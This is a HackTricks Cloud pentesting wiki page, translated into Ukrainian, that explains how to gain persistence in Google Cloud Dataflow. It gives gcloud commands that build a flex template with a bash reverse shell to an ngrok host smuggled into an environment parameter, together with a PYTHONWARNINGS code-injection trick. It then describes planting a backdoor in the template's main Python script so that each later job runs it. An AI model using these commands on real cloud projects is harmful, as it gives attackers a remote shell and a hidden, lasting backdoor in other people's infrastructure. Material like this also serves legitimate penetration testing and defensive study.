Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md

2.9 KiB
Raw Blame History

GCP - Dataflow Персистентність

{{#include ../../../banners/hacktricks-training.md}}

Dataflow

Невидима персистентність у збудованому контейнері

Дотримуючись tutorial from the documentation you can create a new (e.g. python) flex template:

Створити Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
--repository-format=docker
--location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest"
--sdk-language "PYTHON"
--flex-template-base-image "PYTHON3"
--metadata-file "metadata.json"
--py-path "."
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py"
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt"
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0"
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s"
--region=us-central1

</details>

**Під час складання ви отримаєте reverse shell** (ви можете зловживати env variables, як у попередньому прикладі, або іншими параметрами, що змушують Docker file виконувати довільні речі). У цей момент, всередині reverse shell, можна **перейти до каталогу `/template` та змінити код основного python-скрипта, який буде виконано (у нашому прикладі це `getting_started.py`)**. Розмістіть тут свій backdoor, щоб щоразу при виконанні job він виконувався.

Тоді, наступного разу коли job буде виконано, буде запущено скомпрометований контейнер, який було зібрано:

<details>

<summary>Запустити Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

{{#include ../../../banners/hacktricks-training.md}}